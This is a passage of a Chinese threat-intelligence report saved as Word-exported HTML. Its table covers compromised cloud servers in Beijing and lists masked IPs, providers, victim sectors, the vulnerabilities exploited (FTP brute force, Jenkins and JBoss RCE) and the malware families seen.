mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">32</span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><h2 id="4-">4 云服务器对外攻击事件案例</h2><p>本月我们发现了8起涉及具体用户单位的云服务器发起对外攻击的案例，下表列出了其中6起案例。发起对外攻击的云服务器有被黑客入侵的可能，建议有关单位及时采取措施处置。此外，我们还发现了2起政府机关曾经使用过的云服务器，在DNS服务器仍绑定政府.gov域名的情况下，被其他租户租用后发起网络攻击的事件。</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;mso-border-alt:solid #C9C9C9 .5pt;
mso-border-themecolor:accent3;mso-border-themetint:153;mso-yfti-tbllook:1184;
mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:10.8pt">
<td nowrap="" style="border:solid #A5A5A5 1.0pt;mso-border-themecolor:accent3;
border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:
accent3;mso-border-left-alt:solid #A5A5A5 .5pt;mso-border-left-themecolor:
accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:
accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;
height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><b><span lang="EN-US" style="color:white;mso-themecolor:background1;
mso-font-kerning:0pt">IP</span></b><b><span style="font-family:宋体;mso-ascii-font-family:
"Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;
mso-themecolor:background1;mso-font-kerning:0pt">地址</span><span lang="EN-US" style="color:white;mso-themecolor:background1;mso-font-kerning:0pt"><o:p></o:p></span></b></p>
</td>
<td style="border-top:solid #A5A5A5 1.0pt;mso-border-top-themecolor:accent3;
border-left:none;border-bottom:solid #A5A5A5 1.0pt;mso-border-bottom-themecolor:
accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:
accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:
accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;
height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span lang="EN-US" style="color:white;mso-themecolor:background1;
mso-font-kerning:0pt">IP</span></b><b><span style="font-family:宋体;mso-ascii-font-family:
"Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;
mso-themecolor:background1;mso-font-kerning:0pt">所在省份</span><span lang="EN-US" style="color:white;mso-themecolor:background1;mso-font-kerning:0pt"><o:p></o:p></span></b></p>
</td>
<td nowrap="" style="border-top:solid #A5A5A5 1.0pt;mso-border-top-themecolor:
accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;mso-border-bottom-themecolor:
accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:
accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:
accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;
height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">云服务商</span><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt"><o:p></o:p></span></b></p>
</td>
<td style="border-top:solid #A5A5A5 1.0pt;mso-border-top-themecolor:accent3;
border-left:none;border-bottom:solid #A5A5A5 1.0pt;mso-border-bottom-themecolor:
accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:
accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:
accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;
height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">行业</span><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt"><o:p></o:p></span></b></p>
</td>
<td nowrap="" style="border-top:solid #A5A5A5 1.0pt;mso-border-top-themecolor:
accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;mso-border-bottom-themecolor:
accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:
accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:
accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;
height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">网站</span><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt"><o:p></o:p></span></b></p>
</td>
<td style="border-top:solid #A5A5A5 1.0pt;mso-border-top-themecolor:accent3;
border-left:none;border-bottom:solid #A5A5A5 1.0pt;mso-border-bottom-themecolor:
accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:
accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:
accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;
height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">协议</span><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt"><o:p></o:p></span></b></p>
</td>
<td style="border-top:solid #A5A5A5 1.0pt;mso-border-top-themecolor:accent3;
border-left:none;border-bottom:solid #A5A5A5 1.0pt;mso-border-bottom-themecolor:
accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:
accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:
accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;
height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">利用漏洞</span><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt"><o:p></o:p></span></b></p>
</td>
<td style="border:solid #A5A5A5 1.0pt;mso-border-themecolor:accent3;
border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:
accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:
accent3;mso-border-right-alt:solid #A5A5A5 .5pt;mso-border-right-themecolor:
accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;
height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">传播恶意样本</span><span lang="EN-US" style="color:white;
mso-themecolor:background1;mso-font-kerning:0pt"><o:p></o:p></span></b></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:10.8pt">
<td nowrap="" style="border:solid #C9C9C9 1.0pt;mso-border-themecolor:accent3;
mso-border-themetint:153;border-top:none;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US" style="font-size:11.0pt;color:black">123.57.*.*<o:p></o:p></span></b></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">北京市</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td nowrap="" style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">阿里云</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">政府机关</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td nowrap="" style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">**</span><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">食堂订餐系统</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">FTP<o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">FTP</span><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">暴力破解</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">/<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:10.8pt">
<td nowrap="" style="border:solid #C9C9C9 1.0pt;mso-border-themecolor:accent3;
mso-border-themetint:153;border-top:none;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="font-size:11.0pt;color:black">8.142. *.*<o:p></o:p></span></b></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">北京市</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td nowrap="" style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">阿里云</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">公共事业</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td nowrap="" style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">**</span><span style="font-size:11.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">单位官网</span><span lang="EN-US" style="font-size:
11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">HTTP<o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Jenkins Plugin Stapler RCE<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Jenkins Console Script RCE<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">JBoss HttpInvoker RCE<o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">Linux/TrojanDownloader<o:p></o:p></span></p>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US" style="font-size:11.0pt;color:black">PowerShell/TrojanDownloader<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:2;height:10.8pt">
<td nowrap="" style="border:solid #C9C9C9 1.0pt;mso-border-themecolor:accent3;
mso-border-themetint:153;border-top:none;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="font-size:11.0pt;color:black">117.78. *.*<o:p></o:p></span></b></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">北京市</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td nowrap="" style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">华为云</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">工业制造</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td nowrap="" style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">**</span><span style="font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:black">客服平台</span><span lang="EN-US" style="font-size:11.0pt;color:black"><o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US" style="font-size:11.0pt;color:black">Redis<o:p></o:p></span></p>
</td>
<td style="border-top:none;border-left:none;border-bottom:solid #C9C9C9 1.0pt;
mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:153;
border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;
mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
